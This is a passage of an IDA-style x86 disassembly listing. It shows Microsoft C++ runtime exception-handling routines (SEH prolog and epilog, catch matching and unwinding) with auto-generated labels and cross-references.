		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_413697:				; CODE XREF: sub_41354B+A5j
					; sub_41354B+B5j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41369F:				; CODE XREF: sub_41354B+3Cj
					; sub_41354B+86j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41354B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136A4	proc near		; CODE XREF: sub_413C66+12Dp

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4136EF
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_4136EF
		mov	ecx, [edi+4]
		cmp	eax, ecx
		jz	short loc_4136CA
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4136EC


loc_4136CA:				; CODE XREF: sub_4136A4+14j
		test	byte ptr [edi],	2
		jz	short loc_4136D4
		test	byte ptr [esi],	8
		jz	short loc_4136EC


loc_4136D4:				; CODE XREF: sub_4136A4+29j
		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4136E3
		test	byte ptr [esi],	1
		jz	short loc_4136EC


loc_4136E3:				; CODE XREF: sub_4136A4+38j
		test	al, 2
		jz	short loc_4136EF
		test	byte ptr [esi],	2
		jnz	short loc_4136EF


loc_4136EC:				; CODE XREF: sub_4136A4+24j
					; sub_4136A4+2Ej ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4136EF:				; CODE XREF: sub_4136A4+5j
					; sub_4136A4+Dj ...
		xor	eax, eax
		inc	eax
		retn
sub_4136A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136F3	proc near		; CODE XREF: sub_41370C+70p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_413700
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413700:				; CODE XREF: sub_4136F3+8j
		and	dword_4C59B8, 0
		jmp	sub_413EDF
sub_4136F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41370C	proc near		; CODE XREF: sub_41382B+10Cp
					; sub_413B3D+31p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset stru_41C110
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		inc	dword_4C59B8
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]


loc_41372E:				; CODE XREF: sub_41370C+89j
		cmp	esi, [ebp+arg_C]
		jz	short loc_413797
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41373D
		cmp	esi, [edi+4]
		jl	short loc_413742


loc_41373D:				; CODE XREF: sub_41370C+2Aj
		call	sub_413F0C


loc_413742:				; CODE XREF: sub_41370C+2Fj
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_413773
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_413F40


loc_413773:				; CODE XREF: sub_41370C+50j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_413792
; ---------------------------------------------------------------------------


loc_413779:				; DATA XREF: .text:0041C120o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_4136F3
		retn
; ---------------------------------------------------------------------------


loc_413782:				; DATA XREF: .text:0041C124o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_413792:				; CODE XREF: sub_41370C+6Bj
		mov	[ebp+var_1C], esi
		jmp	short loc_41372E
; ---------------------------------------------------------------------------


loc_413797:				; CODE XREF: sub_41370C+25j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4137B9
		cmp	esi, [ebp+arg_C]
		jz	short loc_4137AA
		call	sub_413F0C


loc_4137AA:				; CODE XREF: sub_41370C+97j
		mov	[ebx+8], esi
		call	__SEH_epilog
		retn
sub_41370C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4137B3	proc near		; DATA XREF: .text:stru_41C110o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_4137B3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4137B9	proc near		; CODE XREF: sub_41370C+8Fp
		cmp	dword_4C59B8, 0
		jle	short locret_4137C8
		dec	dword_4C59B8

locret_4137C8:				; CODE XREF: sub_4137B9+7j
		retn
sub_4137B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137C9	proc near		; CODE XREF: sub_413963+56p
					; sub_413C66+19Dp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_41C128
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4137F7
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4137F7
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_40EE38
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_4137F7:				; CODE XREF: sub_4137C9+11j
					; sub_4137C9+1Bj
		call	__SEH_epilog
		retn
sub_4137C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4137FD	proc near		; DATA XREF: .text:stru_41C128o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_4137FD	endp

; ---------------------------------------------------------------------------


loc_413806:				; DATA XREF: .text:stru_41C128o
		mov	esp, [ebp-18h]
		jmp	sub_413EDF

; =============== S U B	R O U T	I N E =======================================



sub_41380E	proc near		; CODE XREF: sub_4139C1+7Cp
					; sub_4139C1+FBp ...
		mov	edx, [ecx+4]
		push	esi
		mov	esi, eax
		mov	eax, [ecx]
		add	eax, esi
		test	edx, edx
		jl	short loc_413829
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_413829:				; CODE XREF: sub_41380E+Cj
		pop	esi
		retn
sub_41380E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41382B	proc near		; CODE XREF: sub_413B3D+52p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0041395A SIZE 00000003 BYTES

		push	40h
		push	offset stru_41C138
		call	__SEH_prolog
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_20], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40EFD6
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		mov	eax, dword_4C59B0
		mov	[ebp+var_34], eax
		mov	eax, dword_4C59B4
		mov	[ebp+var_38], eax
		mov	dword_4C59B0, esi
		mov	eax, [ebp+arg_8]
		mov	dword_4C59B4, eax
		and	[ebp+ms_exc.disabled], 0
		mov	[ebp+ms_exc.disabled], 1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_40F043
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	loc_413948
; ---------------------------------------------------------------------------


loc_4138A5:				; DATA XREF: .text:0041C148o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4138DD
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4138DD
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4138DD
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+1Ch], 0
		mov	[ebp+var_40], 1
		jz	short loc_4138E4


loc_4138DD:				; CODE XREF: sub_41382B+8Bj
					; sub_41382B+94j ...
		mov	[ebp+var_40], 0


loc_4138E4:				; CODE XREF: sub_41382B+B0j
		mov	eax, [ebp+var_40]
		retn
; ---------------------------------------------------------------------------


loc_4138E8:				; DATA XREF: .text:0041C14Co
		mov	esp, [ebp+ms_exc.old_esp]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		mov	[ebp+var_44], eax
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+8]
		mov	[ebp+var_48], eax
		mov	edx, [ecx+10h]
		mov	[ebp+var_4C], edx
		xor	edx, edx


loc_413905:				; CODE XREF: sub_41382B+130j
		mov	[ebp+var_50], edx
		cmp	edx, [ecx+0Ch]
		jnb	short loc_413931
		lea	esi, [edx+edx*4]
		mov	ebx, [ebp+var_4C]
		lea	esi, [ebx+esi*4]
		mov	ebx, [esi+4]
		cmp	eax, ebx
		jle	short loc_41395A
		cmp	eax, [esi+8]
		jg	short loc_41395A
		lea	eax, [ebx+1]
		mov	[ebp+var_48], eax
		mov	edx, [ebp+var_44]
		mov	eax, [edx+eax*8]
		mov	[ebp+var_48], eax


loc_413931:				; CODE XREF: sub_41382B+E0j
		push	eax
		push	ecx
		xor	esi, esi
		push	esi
		push	edi
		call	sub_41370C
		add	esp, 10h
		mov	[ebp+var_1C], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	esi, [ebp+arg_0]


loc_413948:				; CODE XREF: sub_41382B+75j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413963
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41382B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41382B


loc_41395A:				; CODE XREF: sub_41382B+F0j
					; sub_41382B+F5j
		inc	edx
		jmp	short loc_413905
; END OF FUNCTION CHUNK	FOR sub_41382B

; =============== S U B	R O U T	I N E =======================================



sub_41395D	proc near		; DATA XREF: .text:stru_41C138o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41395D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413963	proc near		; CODE XREF: sub_41382B+121p
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-30h]
		call	sub_40F00A
		pop	ecx
		mov	eax, [ebp-34h]
		mov	dword_4C59B0, eax
		mov	eax, [ebp-38h]
		mov	dword_4C59B4, eax
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_4139C0
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_4139C0
		cmp	dword ptr [esi+14h], 19930520h
		jnz	short locret_4139C0
		cmp	dword ptr [ebp-20h], 0
		jnz	short locret_4139C0
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4139C0
		push	dword ptr [esi+18h]
		call	sub_40EFEF
		pop	ecx
		test	eax, eax
		jz	short locret_4139C0
		call	sub_40F1EE
		push	eax
		push	esi
		call	sub_4137C9
		pop	ecx
		pop	ecx

locret_4139C0:				; CODE XREF: sub_413963+25j
					; sub_413963+2Bj ...
		retn
sub_413963	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139C1	proc near		; CODE XREF: sub_413B3D+Dp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	8
		push	offset stru_41C150
		call	__SEH_prolog
		mov	esi, ecx
		mov	eax, [ebp+arg_4]
		mov	edi, edx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	loc_413B2B
		cmp	byte ptr [ecx+8], 0
		jz	loc_413B2B
		mov	ecx, [eax+8]
		test	ecx, ecx
		jnz	short loc_4139FD
		test	byte ptr [eax+3], 80h
		jz	loc_413B2B


loc_4139FD:				; CODE XREF: sub_4139C1+30j
		mov	eax, [eax]
		test	eax, eax
		js	short loc_413A07
		lea	edi, [ecx+edi+0Ch]


loc_413A07:				; CODE XREF: sub_4139C1+40j
		and	[ebp+ms_exc.disabled], 0
		push	1
		push	dword ptr [ebx+18h]
		test	al, 8
		jz	short loc_413A49
		call	sub_41629D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413B22
		push	1
		push	edi
		call	sub_4162B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413B22
		mov	eax, [ebx+18h]
		mov	[edi], eax


loc_413A3A:				; CODE XREF: sub_4139C1+D1j
		lea	ecx, [esi+8]
		call	sub_41380E
		mov	[edi], eax
		jmp	loc_413B27
; ---------------------------------------------------------------------------


loc_413A49:				; CODE XREF: sub_4139C1+51j
		test	byte ptr [esi],	1
		jz	short loc_413A94
		call	sub_41629D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413B22
		push	1
		push	edi
		call	sub_4162B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_413B22
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_40F260
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_413B27
		mov	eax, [edi]
		test	eax, eax
		jz	loc_413B27
		jmp	short loc_413A3A
; ---------------------------------------------------------------------------


loc_413A94:				; CODE XREF: sub_4139C1+8Bj
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_413ACD
		call	sub_41629D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413B22
		push	1
		push	edi
		call	sub_4162B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413B22
		push	dword ptr [esi+14h]
		lea	ecx, [esi+8]
		mov	eax, [ebx+18h]
		call	sub_41380E
		push	eax
		push	edi
		call	sub_40F260
		add	esp, 0Ch
		jmp	short loc_413B27
; ---------------------------------------------------------------------------


loc_413ACD:				; CODE XREF: sub_4139C1+D7j
		call	sub_41629D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413B22
		push	1
		push	edi
		call	sub_4162B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_413B22
		push	dword ptr [esi+18h]
		call	sub_4162D5
		pop	ecx
		test	eax, eax
		jz	short loc_413B22
		mov	eax, [ebx+18h]
		lea	ecx, [esi+8]
		test	byte ptr [esi],	4
		jz	short loc_413B11
		push	1
		call	sub_41380E
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40EE38
		jmp	short loc_413B27
; ---------------------------------------------------------------------------


loc_413B11:				; CODE XREF: sub_4139C1+13Bj
		call	sub_41380E
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_40EE38
		jmp	short loc_413B27
; ---------------------------------------------------------------------------


loc_413B22:				; CODE XREF: sub_4139C1+5Cj
					; sub_4139C1+6Ej ...
		call	sub_413F0C


loc_413B27:				; CODE XREF: sub_4139C1+83j
					; sub_4139C1+C1j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_413B2B:				; CODE XREF: sub_4139C1+1Bj
					; sub_4139C1+25j ...
		call	__SEH_epilog
		retn
sub_4139C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B31	proc near		; DATA XREF: .text:stru_41C150o
		xor	eax, eax
		inc	eax
		retn
sub_413B31	endp

; ---------------------------------------------------------------------------


loc_413B35:				; DATA XREF: .text:stru_41C150o
		mov	esp, [ebp-18h]
		jmp	sub_413EDF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B3D	proc near		; CODE XREF: sub_413BA4+A4p
					; sub_413C66+172p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		test	ecx, ecx
		jz	short loc_413B51
		push	ebx
		push	[ebp+arg_0]
		mov	edx, esi
		call	sub_4139C1
		pop	ecx
		pop	ecx


loc_413B51:				; CODE XREF: sub_413B3D+5j
		cmp	[ebp+arg_14], 0
		push	[ebp+arg_0]
		jnz	short loc_413B5D
		push	esi
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B5D:				; CODE XREF: sub_413B3D+1Bj
		push	[ebp+arg_14]


loc_413B60:				; CODE XREF: sub_413B3D+1Ej
		call	sub_40EE3F
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_41370C
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_10]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41382B
		add	esp, 28h
		test	eax, eax
		jz	short loc_413BA2
		push	esi
		push	eax
		call	sub_40EE08


loc_413BA2:				; CODE XREF: sub_413B3D+5Cj
		pop	ebp
		retn
sub_413B3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BA4	proc near		; CODE XREF: sub_413C66+1C8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 80000003h
		jz	locret_413C64
		cmp	dword_4C59BC, 0
		jz	short loc_413BE4
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_40F094
		add	esp, 1Ch
		test	eax, eax
		jnz	locret_413C64


loc_413BE4:				; CODE XREF: sub_413BA4+1Bj
		push	esi
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40EF5C
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_413C62
		push	ebx


loc_413C0B:				; CODE XREF: sub_413BA4+BBj
		cmp	esi, [edi]
		jl	short loc_413C53
		cmp	esi, [edi+4]
		jg	short loc_413C53
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_413C2C
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_413C53


loc_413C2C:				; CODE XREF: sub_413BA4+80j
		mov	esi, [ebp+arg_4]
		push	1
		push	[ebp+arg_1C]
		lea	ebx, [eax-10h]
		push	[ebp+arg_18]
		xor	ecx, ecx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_413B3D
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_413C53:				; CODE XREF: sub_413BA4+69j
					; sub_413BA4+6Ej ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_413C0B
		pop	ebx


loc_413C62:				; CODE XREF: sub_413BA4+64j
		pop	edi
		pop	esi

locret_413C64:				; CODE XREF: sub_413BA4+Ej
					; sub_413BA4+3Aj
		leave
		retn
sub_413BA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C66	proc near		; CODE XREF: sub_413E3D+93p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		and	byte ptr [ebp+var_1C], 0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jl	short loc_413C86
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_413C8B


loc_413C86:				; CODE XREF: sub_413C66+16j
		call	sub_413F0C


loc_413C8B:				; CODE XREF: sub_413C66+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx], 0E06D7363h
		push	esi
		push	edi
		jnz	loc_413E12
		cmp	dword ptr [ebx+10h], 3
		mov	edi, 19930520h
		jnz	short loc_413D0C
		cmp	[ebx+14h], edi
		jnz	short loc_413D0C
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_413D0C
		mov	eax, dword_4C59B0
		test	eax, eax
		jz	loc_413E0A
		mov	esi, eax
		mov	eax, dword_4C59B4
		push	1
		push	esi
		mov	[ebp+arg_0], esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_1C], 1
		call	sub_41629D
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_413CE4
		call	sub_413F0C


loc_413CE4:				; CODE XREF: sub_413C66+77j
		cmp	dword ptr [esi], 0E06D7363h
		jnz	loc_413E0F
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_413D09
		cmp	[eax+14h], edi
		jnz	short loc_413D09
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_413D09
		call	sub_413F0C


loc_413D09:				; CODE XREF: sub_413C66+91j
					; sub_413C66+96j ...
		mov	ebx, [ebp+arg_0]


loc_413D0C:				; CODE XREF: sub_413C66+40j
					; sub_413C66+45j ...
		cmp	dword ptr [ebx], 0E06D7363h
		jnz	loc_413E12
		cmp	dword ptr [ebx+10h], 3
		jnz	loc_413E12
		cmp	[ebx+14h], edi
		jnz	loc_413E12
		mov	esi, [ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40EF5C
		mov	ecx, [ebp+var_8]
		add	esp, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jnb	loc_413DFA
		jmp	short loc_413D59
; ---------------------------------------------------------------------------


loc_413D56:				; CODE XREF: sub_413C66+18Ej
		mov	esi, [ebp+var_18]


loc_413D59:				; CODE XREF: sub_413C66+EEj
		cmp	[eax], esi
		jg	loc_413DE5
		cmp	esi, [eax+4]
		jg	short loc_413DE5
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		mov	esi, [eax+10h]
		mov	[ebp+var_14], ecx
		jle	short loc_413DE5


loc_413D73:				; CODE XREF: sub_413C66+150j
		mov	ecx, [ebx+1Ch]
		mov	ecx, [ecx+0Ch]
		lea	edx, [ecx+4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], ecx
		jle	short loc_413DAC


loc_413D88:				; CODE XREF: sub_413C66+141j
		mov	eax, [ebp+var_C]
		mov	edi, [eax]
		push	dword ptr [ebx+1Ch]
		mov	[ebp+var_24], edi
		call	sub_4136A4
		test	eax, eax
		pop	ecx
		jnz	short loc_413DBA
		dec	[ebp+var_10]
		add	[ebp+var_C], 4
		cmp	[ebp+var_10], eax
		jg	short loc_413D88
		mov	eax, [ebp+var_4]


loc_413DAC:				; CODE XREF: sub_413C66+120j
		dec	[ebp+var_14]
		add	esi, 10h
		cmp	[ebp+var_14], 0
		jg	short loc_413D73
		jmp	short loc_413DE5
; ---------------------------------------------------------------------------


loc_413DBA:				; CODE XREF: sub_413C66+135j
		push	[ebp+var_1C]
		mov	edi, [ebp+var_4]
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_24]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		mov	ebx, esi
		mov	esi, [ebp+arg_4]
		call	sub_413B3D
		mov	ebx, [ebp+arg_0]
		add	esp, 1Ch
		mov	eax, edi


loc_413DE5:				; CODE XREF: sub_413C66+F5j
					; sub_413C66+FEj ...
		inc	[ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	eax, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jb	loc_413D56


loc_413DFA:				; CODE XREF: sub_413C66+E8j
		cmp	[ebp+arg_14], 0
		jz	short loc_413E0A
		push	1
		push	ebx
		call	sub_4137C9
		pop	ecx
		pop	ecx


loc_413E0A:				; CODE XREF: sub_413C66+54j
					; sub_413C66+198j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413E0F:				; CODE XREF: sub_413C66+84j
		mov	ebx, [ebp+arg_0]


loc_413E12:				; CODE XREF: sub_413C66+31j
					; sub_413C66+ACj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_413E38
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_413BA4
		add	esp, 20h
		jmp	short loc_413E0A
; ---------------------------------------------------------------------------


loc_413E38:				; CODE XREF: sub_413C66+1B0j
		jmp	sub_413EDF
sub_413C66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E3D	proc near		; CODE XREF: .text:0040EEB2p
					; .text:0040EEE2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	edi
		and	eax, 1FFFFFFFh
		mov	edi, 19930520h
		cmp	eax, edi
		jz	short loc_413E5A
		call	sub_413F0C


loc_413E5A:				; CODE XREF: sub_413E3D+16j
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_413E82
		cmp	dword ptr [esi+4], 0
		jz	short loc_413ED8
		cmp	[ebp+arg_14], 0
		jnz	short loc_413ED8
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41370C
		add	esp, 10h
		jmp	short loc_413ED8
; ---------------------------------------------------------------------------


loc_413E82:				; CODE XREF: sub_413E3D+24j
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_413ED8
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_413EBC
		cmp	[eax+14h], edi
		jbe	short loc_413EBC
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_413EBC
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413EBC:				; CODE XREF: sub_413E3D+51j
					; sub_413E3D+56j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_413C66
		add	esp, 20h


loc_413ED8:				; CODE XREF: sub_413E3D+2Aj
					; sub_413E3D+30j ...
		xor	eax, eax
		inc	eax


loc_413EDB:				; CODE XREF: sub_413E3D+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_413E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413EDF	proc near		; CODE XREF: sub_4136F3+14j
					; .text:00413809j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 004162ED SIZE 00000018 BYTES

		push	8
		push	offset stru_41C160
		call	__SEH_prolog
		mov	eax, dword_4C59C0
		test	eax, eax
		jz	short loc_413F07
		and	[ebp+ms_exc.disabled], 0
